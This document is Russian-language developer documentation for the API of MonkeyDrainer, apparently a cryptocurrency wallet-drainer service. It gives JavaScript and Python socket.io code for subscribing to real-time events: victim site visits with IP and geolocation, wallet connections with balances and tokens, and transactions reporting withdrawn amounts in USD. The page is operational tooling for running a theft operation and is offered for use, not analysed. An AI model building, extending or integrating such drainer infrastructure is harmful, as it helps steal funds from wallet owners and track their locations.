Skip to content

Серверное API

⚠️ Внимание! Эта документация и API предназначены исключительно для разработчиков.

Использование серверных API и других методов, описанных в этом разделе, требует технических знаний. Не пытайтесь использовать эти инструменты, если у вас нет достаточного опыта в программировании или управлении серверными приложениями.

Неправильное использование API или инструментов может привести к сбоям в работе системы, утечке данных или другим серьёзным последствиям. Всегда консультируйтесь с разработчиком или специалистом перед внесением изменений.

FusionConnect Bridge

FusionConnect Bridge — это компонент, который обеспечивает интеграцию и взаимодействие между различными системами и сервисами через единый API. Этот мост позволяет разработчикам подключать свои приложения к сервисам MonkeyDrainer и автоматизировать процессы, используя стандартизированный интерфейс.

Основные возможности:

  • API-интеграция:
    FusionConnect Bridge предоставляет полный доступ к функциональности через API, что позволяет интегрировать ваши приложения и управлять ими удаленно.
  • Документация:
    Вся информация о возможностях и настройках FusionConnect Bridge доступна в Swagger-документации.

Доступ к Swagger:

Вы можете получить информацию о доступе к Swagger через главное меню Telegram-бота. В главном меню содержатся логин, пароль и URL для доступа к Swagger-документации, где подробно описаны все доступные API-методы, параметры и примеры их использования.

FusionConnect Relay

FusionConnect Relay — это WebSocket-шлюз, который предоставляет возможность получать события в режиме реального времени через протокол Socket.IO. Этот компонент особенно полезен для приложений, которым необходимо мгновенно реагировать на такие события, как посещения сайтов, подключения кошельков и транзакции.

Как подключиться к FusionConnect Relay

Для подключения к FusionConnect Relay используется библиотека Socket.IO. Следующий пример показывает, как установить соединение и подписаться на события.

1. Установка библиотеки клиента Socket.IO

Если вы еще не установили библиотеку клиента Socket.IO, выполните следующую команду:

bash
npm install socket.io-client
2. Подключение к WebSocket серверу

Используйте следующий код для подключения к серверу и аутентификации с использованием API-ключа:

javascript
import { io } from 'socket.io-client';

const socket = io('https://yourserver.com/relay', {
  auth: {
    'x-api-key': 'your-api-key'
  }
});

socket.on('connect', () => {
  console.log('Successfully connected to FusionConnect Relay');
});

socket.on('connect_error', (err) => {
  console.error('Connection error:', err.message);
});
3. Подписка на события

После подключения вы можете подписаться на интересующие вас события:

  • Visit Event (Посещение сайта):
javascript
socket.on('visit', (data) => {
  console.log('Visit event received:', data);
});
  • Wallet Connect Event (Подключение кошелька):
javascript
socket.on('walletConnect', (data) => {
  console.log('Wallet Connect event received:', data);
});
  • Transaction Event (Транзакция):
javascript
socket.on('transaction', (data) => {
  console.log('Transaction event received:', data);
});

Формат данных событий

Каждое событие передает данные в определенном формате. Вот примеры структуры данных для каждого события:

  • Visit Event:
json
{
  "ip": "192.168.1.1",
  "browserInfo": {
    "browser": "Chrome",
    "os": "Windows 10"
  },
  "geoLocation": {
    "city": "New York",
    "country": "United States",
    "flag": "🇺🇸"
  }
}
  • Wallet Connect Event:
json
{
  "ip": "192.168.1.1",
  "data": {
    "domain": "example.com",
    "walletAddress": "EQC1...",
    "walletVersion": "v3",
    "walletBalance": {
      "balance": 100,
      "usd": 150
    },
    "tokens": [
      {
        "name": "JETTON",
        "balance": 1000,
        "usd": 200,
        "decimals": 2
      }
    ],
    "totalBalanceUSD": 350
  }
}
  • Transaction Event:
json
{
  "ip": "192.168.1.1",
  "data": {
    "domain": "example.com",
    "walletAddress": "EQC1...",
    "walletVersion": "v3",
    "withdrawalAmount": {
      "balance": 50,
      "usd": 75
    },
    "tokens": [
      {
        "name": "JETTON",
        "balance": 500,
        "usd": 100,
        "decimals": 2
      }
    ],
    "totalWithdrawalUSD": 175
  }
}

Пример реализации Relay на Python

Для реализации подключения к FusionConnect Relay с использованием WebSocket в Python, вы можете использовать библиотеку socketio. Ниже приведен пример кода, который демонстрирует подключение к серверу, аутентификацию и обработку событий:

1. Установка библиотеки

Сначала установите необходимую библиотеку с помощью pip:

bash
pip install "python-socketio[client]"

2. Подключение к WebSocket серверу

Используйте следующий код для подключения к серверу и аутентификации:

python
import socketio

# Создаем клиента
sio = socketio.Client()

# Обработка успешного подключения
@sio.event
def connect():
    print('Successfully connected to FusionConnect Relay')

# Обработка ошибок подключения
@sio.event
def connect_error(data):
    print(f'Connection error: {data}')

# Обработка отключения
@sio.event
def disconnect():
    print('Disconnected from server')

# Обработка событий
@sio.on('visit')
def on_visit(data):
    print('Visit event received:', data)

@sio.on('walletConnect')
def on_wallet_connect(data):
    print('Wallet Connect event received:', data)

@sio.on('transaction')
def on_transaction(data):
    print('Transaction event received:', data)

# Устанавливаем соединение с аутентификацией
sio.connect('https://yourserver.com/relay', headers={'x-api-key': 'your-api-key'})

# Поддерживаем соединение активным
sio.wait()

3. Описание кода

  • Подключение и аутентификация:
    Используется метод sio.connect(), где передается URL сервера и заголовок с API-ключом для аутентификации.
  • Обработка событий:
    Используются декораторы @sio.on(event_name) для обработки входящих событий. Например, события visit, walletConnect, и transaction обрабатываются в отдельных функциях.
  • Поддержание соединения:
    Метод sio.wait() удерживает соединение активным для прослушивания событий в реальном времени.

Этот пример демонстрирует основные этапы интеграции с FusionConnect Relay на Python, что позволит вашему приложению получать и обрабатывать события в режиме реального времени.